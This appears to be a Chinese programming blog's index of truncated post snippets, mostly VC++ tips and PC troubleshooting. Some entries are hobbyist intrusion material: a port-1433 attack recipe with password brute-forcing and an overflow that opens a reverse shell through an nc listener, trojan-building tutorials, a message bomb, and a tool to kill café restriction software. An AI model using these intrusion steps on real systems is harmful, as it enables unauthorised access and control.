C++/VC++
冷风
网络安全编程,远程控制编写
展开
-
如何重装IE
重装IE时,系统会检查现有版本,如发现安装的不是更高版本,将阻止安装。①对IE 5.0的重装可按以下步骤进行: 第一步:打开“注册表编辑器”,找到[HKEY_LOCAL_ MACHINE\Software\Microsoft\Internet Explorer],单击其下的Version Vector键。 第二步:在右侧窗格中双击IE子键,将原来的“5.0002原创 2005-10-02 13:39:00 · 1997 阅读 · 0 评论 -
ho ho 花一下午的时间终于....
花一下午的时间终于....把因用ghost复制盘时,断电而出现的问题哈一下午没上课,不过。。。。ghost断电后硬盘的解决 前是用pm简单的分区格式化并不能解决问题,于是用dm进行格但是还是无效,最用用dm进行简单格后,这时 用pm查看发现整个硬盘被分为了一个为fat32的c区这时试图把,硬盘重新分区把前1.5g的空间分在一快。因为 跟据文件复制时出错的时间可以得出原创 2005-10-27 16:44:00 · 1510 阅读 · 0 评论 -
内存会影响上网
一机器无法上网经检测 网线正常 网卡设置正常 但联接后批示灯不亮无奈正要放弃时 发现机器无法启动 内存报警 但同时却间外的发现网卡灯亮了重新安装内存后 一切正常 WHY????????????????? 有一例内置网卡因尘土而无法正常工作 是有的但是...........原创 2006-03-11 13:15:00 · 1230 阅读 · 0 评论 -
今天着手写消息炸弹的程序
今天着手写消息炸弹的程序,以找到了相关的API并写了大至的用户界面,明天看看变量的传递.希望这个星期可以给自己交上这份作业.原创 2006-03-15 23:31:00 · 1428 阅读 · 0 评论 -
机器无法启动却是CMOS的问题
一机器打开后只有主板的批示灯亮而电源与CPU的风扇全无反应最后无奈把CMOS的拿下来,如果机器可以很正常的启动。一直以为CMOS出了问题只是无法开机报警。但是现在看来它也可能便电源与CPU的风扇不反应。原创 2006-03-20 13:38:00 · 1441 阅读 · 0 评论 -
电脑无法上网还原精灵惹的祸
电脑无法找到网卡驱动 想用GHOST恢复时却又发现 虚似软盘(自己修改版的可以用GHSOT)无法进入开机出现BOOT。INI错误最后重装虚似软盘时删除了”还原精灵“,这是却意外的发现可以上网了!!!WHY???原创 2006-03-20 13:45:00 · 1582 阅读 · 0 评论 -
各种端口的入侵方法
1. 1433端口入侵 scanport.exe 查有1433的机器 SQLScanPas*.**e 进行字典暴破(字典是关键) 最后 SQLTool*.**e入侵 对sql的sp2及以下的系统,可用sql的hello 溢出漏洞入侵。 nc -vv -l -p 本机端口 sqlhelloF.exe 入侵ip 1433 本机ip 本机端口 (以上反向的,测试成功) s原创 2006-02-18 22:13:00 · 3829 阅读 · 0 评论 -
分区丢失
1.从相同的硬盘上备份分区表并进行恢复2.使用另一款磁盘分区管理工具DiskMan来修复分区表。DiskMan可通过未被破坏的分区引导记录信息重新建立分区表,非常适合用来修复损坏的分区表。在菜单的工具栏中选择“重建分区表”,原创 2006-02-19 21:37:00 · 1204 阅读 · 1 评论 -
杀死进程的API使用
杀死进程的API使用 TerminateProcess绝对可以。发送消息时,程序可能会拦截消息,不让程序退出。但是TerminateProcess是强制终止,所以绝对可以。Win2000的任务管理器使用的应该就是TerminateProcess。DWORD dwProcID;HANDLE hProcess; HWND h = FindWindow(0, "未定标题 -原创 2006-03-24 23:01:00 · 3088 阅读 · 0 评论 -
用xitami轻松搭建WEB+PHP服务器
今天晕了一天,什么也没干,睡前得做点什么 ,不然一天就荒过去了做为一个小菜也少不了看些 脚本注入啊,ASP啊,PHP啊什么的东西那么搭建一个自己的WEB服务器也就有必要了我们的选择有 IIS, APACHE等但以我们的需要用用上面的东东 实在有点大材小用我们可以用一个叫xitami的软件来配置WEB服务器下面就以xitami来搭建WEB+PHP的服务器 需要软件:原创 2006-05-12 21:23:00 · 2239 阅读 · 0 评论 -
PHP入门手记-简单实现网页密码验正
PHP入门手记-简单实现网页密码验正近两天弄了一个通讯并放到自己的空间上,过了几天发现些问题做通讯录的最初目得是记录技术方面的朋友的信息但由于系统是完全公开的,所以使得任何人都可以访问,而出现灌水为此就写了一个极为简单的 "网页后台密码验正" 程序安全与完整性不堪入目,但是实现代码,却不过三五行而以哦.虽然简单但是可以达到防止菜鸟灌水的目得思路: 定义一字符串做为密码,提供一表单(inde原创 2006-05-15 17:43:00 · 2585 阅读 · 0 评论 -
VC中"资源定制"学习手记
最近写一个可以将console下的控制台程序输出重定向到VC中EDIT控件的小程序 从而达到控制台程序的GUI化,而这之中很重要的的一个环节就是将源程序与我们做的GUI程序编译到一快,这使用到VC中资源定制的功能。 资源即数据,它们被储在程序的EXE文件中,但是它们并非驻留在程序的数据区域中也就是说资源不能通过程序源代码中定义的变量来直接访问,要使用资源就必须使用windows提供的API原创 2006-05-12 21:30:00 · 1863 阅读 · 1 评论 -
用wsprintf格式化字符串
在C语言中格式化字符串可以使用printf但是在WINDOWS编程设计中却行不通了,但是却有变通的方法那就是用 wsprintf这个函数 它的格式如下:wsprintf(缓冲区,格式,要格式化的值);第一个参数是字符缓冲区,后面是格式字符串,wsprintf不是将格式化结果写到标准输出,而是将其写入缓冲区中,该函数返回该字符串的长度。 比如我们想通过MessageBo原创 2006-09-28 14:37:00 · 3986 阅读 · 0 评论 -
用键盘模拟鼠标操作
用键盘模拟鼠标操作图/文 冷风/关于键盘编程的技术份量也得有一本书吧,却不是我三言两语说清的,而且能力也万万达不到。但我还是尽力而为,只为以后自己复习用吧。让程序接受按键消息可以使用WM_KEYDOWN消息,它通常用以下的格式调用case WM_KEYDOWN: switch(wParam)原创 2006-09-28 14:41:00 · 2425 阅读 · 0 评论 -
提升进程权限代码
提升进程权限在枚举/结束系统进程或操作系统服务时,会出现自己权限不足而失败的情况,这时就需要提升自己进程到系统权限,其实提升权限的代码很简单的,看到过的最经典的应该是《WINDOWS核心编程》第四章中操作进程给出的那个函数了,如果我们真的不了解它的操作也不要紧,因为只要在你需要的地方调用下面这个函数就是了,以下是它的代码: BOOL EnablePriv(){HANDLE原创 2006-09-28 14:38:00 · 5351 阅读 · 1 评论 -
你的杀毒软件可以扔掉了
你的杀毒软件可以扔掉了图/文 冷风我的本本是传说中的机器,它拥有333的赛扬CPU,4G的硬盘,96M的内存.所以那可爱的杀毒软件偶是用不了的。对于个人电脑,安全的设置比杀素软件更有效,下面是个人电脑设置的几点建议1. 请在计算机管理中停止SERVER服务,它实在是太危险了!2. 请一定要使用windows优化大师或QQKAV对3721,百度搜索,等工具条进行免疫!我想你原创 2006-09-28 14:42:00 · 2523 阅读 · 3 评论 -
用CreateToolhelp32Snapshot/Process32First/Process32Next API枚举系统进程
用CreateToolhelp32Snapshot/Process32First/Process32Next API枚举系统进程在很多情况下需要对系统的进程进行操作,方法有很多种但最常用的是CreateToolhelp32Snapshot/Process32First/Process32Next 一系列API使现结束进程使用TerminateProcess使现下面的函数可以使原创 2006-09-28 14:40:00 · 9884 阅读 · 1 评论 -
#一个最最简单的留言程序
#一个最最简单的留言程序#使用时只要把以下代码存为 php文件就行了 $fileName="data.txt"; if($action == "send") { $message = ereg_replace("/r/n", "", $message);#把PHP换行符转换为HTML格式br $message = ereg_replace(" ", " ",原创 2006-05-21 16:02:00 · 1853 阅读 · 0 评论 -
"中国黑客II"病毒分析 并手工查杀
中国黑客II在我的地牌上混,招呼都不打一个!!!这点邻我很不爽!!!招起家伙招呼它!KV 一通狂杀结果这一杀就是3-4个小时 *.eml文件干掉好几千!晕这样也下去肯定自己就挂了上网找专杀工具好慢啊 (因为中国黑客的主进程runouce.exe占了20%--50%的CPU)!!找到一个金山的专杀工具 试试? 哭 查不出来 但runouce.exe进程还明显的可以看到啊?看来原创 2006-05-22 14:16:00 · 4056 阅读 · 0 评论 -
解决CFile 中换行问题
写一个程序时 要把几个命令写入一个bat的文件中其中文件换行成了问题察看一些资料没能找到答案 在VC++群上“听雨舟”大虾给了一句代码就搞定了呵呵file.write(_T("/r/n"),2);哈哈就是这么简单!!!完整的代码如下:else { . CString str="hello"; CString str1="word"; CFile file("c://test原创 2006-05-26 13:25:00 · 5987 阅读 · 5 评论 -
简单使用COMBO(下拉列表框)控件
简单使用COMBO(下拉列表框)控件COMBO控件是一种下拉列表框,使用它可方便用户的选择并且只占用较少的空间,下面是我在使用时的笔记,所以并不太完整,但对于一般使用应该是够了的1. 在适当位置放置COMBO控件(注意位置要适当高些)2. 建立控件与变量的连接如m_list3. 在OninitDialog中用m_list.AddString(“第一项”)来增添项4. 接原创 2006-10-31 08:17:00 · 2235 阅读 · 1 评论 -
编程必备资料库
1.VC知识库 到目前为止共46期2.电脑编程技巧与维护 01-05年合订本3.黑客防线 01-06年精华本 《VC知识库》的权威性该是无人置疑的,可谓是中文MSDN《电脑编程技巧与维护》 里面的文章偏重于实用若能备齐01-05的合订本你就拥有一套完整的编程资料库《黑客防线》的精华合订本中-编程解析-栏目可谓篇篇精华不可不看 不知道你们怎样认为,但我自己蛮原创 2006-10-31 08:16:00 · 2438 阅读 · 1 评论 -
写个扫主机名的工具
正在学习多线程笨手笨脚的试着写了个扫主机名的小工具多线程TMD的就是快啊传送给线程的IP地址是用全局静态变量使现的但在创建线程时要Sleep();一下否则无法正确执行 但上个程序sleep(200)太多了 扫一个网段要好长时间又试了下sleep(40);完全可以正常工作~~~~不太明白何以要sleep()?scans.rar原创 2006-07-10 20:49:00 · 1243 阅读 · 1 评论 -
写了个杀美萍的程序
这两天在机房上网因装了美萍 有很多限制所以.........程序还有BUG 比如对远程执行是否成功判断不精确~~这两天在机房上网因装了美萍 有很多限制所以.........程序还有BUG 比如对远程执行是否成功判断不精确~~快考试了先把简单的放这儿 偶尽快把 KILL pubwin4 和 亿佰 万像 等代码加上~~~~(pubwin4 和 亿佰 是多线程相互监视 可能原创 2006-07-10 20:52:00 · 2570 阅读 · 1 评论 -
]^_^试试写个创建服务的程序
有时需要把程序注册成系统服务,以便开机自动运行 都是用SC.EXE 但是有点麻烦 凑巧看的一篇文章 发现很简单只用了2条API就OK了 就写了下面的小程序 在WinXP+VC6.0编译 并运行成功 老规矩 代码一块加上 (要是有问题请告诉俺^_^) 程序+代码 CreateServer.rar 加入了删除服务的功能 惭愧的很.....代码是参照别人的写的........... 由于没有提原创 2006-07-22 21:34:00 · 1656 阅读 · 4 评论 -
在VC 引用DLL文件的方法
在VC 引用DLL文件的方法1. 把相应的DLL 与LIB文件拷贝至工程目录2. 在 工程-设置-LINK-模快中加入LIB的文件名4. 在OnInitDialog()之前用__declspec(dllimport) 声明要使用的函数5. 调用函数6. 收工走人哈哈原创 2006-12-10 00:07:00 · 5746 阅读 · 1 评论 -
简单使用目录对话框
简单使用目录对话框VC中封装了文件对话框,很好用。但是目录对话框却没有做处理而我们很多时候要选择目录,上网查一下就能发现很多高手们做好的类或函数但是...但是好像都很复杂也而我们好像不需要那些高深的东西.....想要的只是一个目录框而以啊其实要实现这个功能也相当简单的,只要下面的几句代码就OK了 BROWSEINFO bi; char name[MAX_PATH]=" "; char dir[原创 2006-12-10 00:12:00 · 1805 阅读 · 0 评论 -
轻松搞VC之定时器(Timer)
轻松搞VC之定时器(Timer)使用定时器可以使程序每隔一指定时间处理一函数方法如下:1在WorkSpace里选择"class view",右击 *DLG,在菜单中选择"Add Windows Messge Handler"2在弹出的对话框的左方找到 WM_TIMER 双击 加入到右上方的列表中3双击右上方列表中的WM_TIMER 加入自己的处理代码4在需要使用Timer的地方加入 Set原创 2006-12-10 00:18:00 · 10398 阅读 · 2 评论 -
用VC调用对话框
我在基于对话框的的程序中 加了一个新对话框但是我怎样在主对话框中调出我新加的对话框呢? 没什么区别,仍然是DoModal调用模态或Create调用非模态对话框.NewDialog.ShowWindow(SW_SHOW);非模态NewDialog.DoModal();模态资源跟类连到一块可以双击对话框生成对应类,用DoModal()弹出原创 2007-01-11 20:49:00 · 3389 阅读 · 0 评论 -
作者:冷风 木马编程DIY
木马编程DIY文/冷风在木马中除了必需的,屏幕控制,文件管理,SHELL之外还有其它的控制方式,我们用短小精悍的程序来一一DIY一下。1.锁定鼠标:这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序#include #include int main(int argc, char* argv[]){ printf("/n别害怕15妙后你的鼠标就可以使用了^_^/n"原创 2007-01-11 21:04:00 · 4358 阅读 · 7 评论 -
冷风 星号密码查看工具DIY
注:本文于07/1月于黑客防线发表版权归黑客防线所有,转载请注明出处 号密码查看工具DIY文/德州科技职业学院 冷风星号密码查看工具大家都用过吧,现在我们自己来写个超级简单的。其实密码框是一个Windows的一个子窗口,显示星号是因为密码框设置了EM_SETPASSWORDCHAR属性,只要我们把密码框的EM_SETPASSWORDCHAR属性给去掉那么密码就会以明文显示了,我们可原创 2007-01-21 18:54:00 · 3579 阅读 · 0 评论 -
冷风 木马编程DIY之系统服务
注:本文于07/1月于黑客防线发表版权归黑客防线所有,转载请注明出处木马编程DIY之系统服务文/图冷风 [后方网络] 对系统服务的管理几乎是木马必不可少的功能了,比如神气儿,上兴远程控制等要是能我们给自己的木马加上这个功能,看着也不赖。我们实现的效果如图3-4所示图3图4好啦,现在开始干活 取得配置权限 在对服务进行管理设置前,需要原创 2007-03-23 12:33:00 · 4733 阅读 · 3 评论 -
编程查杀ttdianying流氓软件
注:本文于07/1月于黑客防线发表版权归黑客防线所有,转载请注明出处编程查杀ttdianying流氓软件文/图 冷风[后方网络][东南网安] 最近机房重了一种弹出网页式的流氓软件,毛病倒是不大,只是很讨人厌,每隔几分种就会弹出一次 游戏也玩不安心。如图1示。 用杀毒软件,360安全卫士,超级免子都也查不出个所以然来,上GOOGLE搜索也是哀声一片,并无清除 方法,所以只能自己动手解决原创 2007-03-29 16:30:00 · 1981 阅读 · 1 评论 -
冷风 打造自己的GUI专版命令行程序
注:本文于07/4月于黑客防线发表版权归黑客防线所有,转载请注明出处 打造自己的GUI专版命令行程序 文/图 德州科技职业学院 冷风 命令行下的工具效率高,速度快,但是当程序的参数太多时,却不易于使用。所以我们就给它做个界面封装一下,顺 便把我们的大名也加上呵呵为了方便说明我们选用一个比较简单的程序GetOS.exe它是MS04011工具包中的一个小 工具,主要用来探测目标系统的类原创 2007-04-13 14:14:00 · 1877 阅读 · 0 评论 -
VC6实现伸缩对话框
虽不太难 还是写来以后会方便不少 IDC_S是一个 图像 控件 用于指明分割窗口的位置void CZzDlg::OnOK() ...{ CString str; GetDlgItemText(IDOK,str); if(str=="收") ...{ SetDlgItemText(IDOK,"放"); }else ...{原创 2007-07-11 11:53:00 · 1762 阅读 · 0 评论 -
VC中加载自己的ICO图标
VC中加载自己的ICO图标比如在对话框中方法如下1 RESOURCES右键IMPORT载入ICO图标ID设为IDI_ME2 m_hIcon = AfxGetApp()->LoadIcon(IDI_ME);3 SetIcon(m_hIcon, TRUE);4 要记得删除原来的图示否则可执行文件的图标不会改变....原创 2007-05-06 00:07:00 · 3670 阅读 · 0 评论 -
文件木马DEMO
文件木马的编写环境为VC6.0+WINDOWS2000 主要功能是管理Server的磁盘文件 主要包括: 上传文件下载文件执行文件删除文件文件属性删除目录创建目录屏幕监视 为了方便也加入了 屏幕监视 功能 因为是直接捕获BMP图像 复制图像直接使用了BitBlt而没有用StretchBlt进行缩放操作,所以显示效果比较好原创 2007-05-06 21:04:00 · 2230 阅读 · 2 评论 -
删除树节点下的所有节点
可用如下代码完成HTREEITEM CurrentNode = item.hItem; //取得此节点的全路径while(m_tree.GetChildItem(CurrentNode)!=NULL)//子节点是否为空{ m_tree.DeleteItem(m_tree.GetChildItem(CurrentNode));//删除} 都是些小技巧类的东西 ,日后可能用的到......原创 2007-05-08 08:26:00 · 2472 阅读 · 0 评论 -
如何得到远程ICO文件图标[整理]
有关如何用 SHGetFileInfo 或者其它函数取得 FTP 服务器上图标的问题 用以下函数不行,返回值为0:procedure TForm1.ListView1GetImageIndex(Sender: TObject; Item: TListItem);Const Mode = SHGFI_ICON or SHGFI_SYSICONINDEX;Var info : TSH原创 2007-05-07 14:07:00 · 2487 阅读 · 0 评论 -
如何得到树中结点的全路径
可用以下代码实现 HTREEITEM CurrentNode = m_tree.GetSelectedItem();//得到当前子树句柄 CString Temp; CString FullPath = ""; while(CurrentNode != m_hRoot) { Temp = m_tree.GetItemText(CurrentNode); if(Temp.R原创 2007-05-08 08:21:00 · 2692 阅读 · 0 评论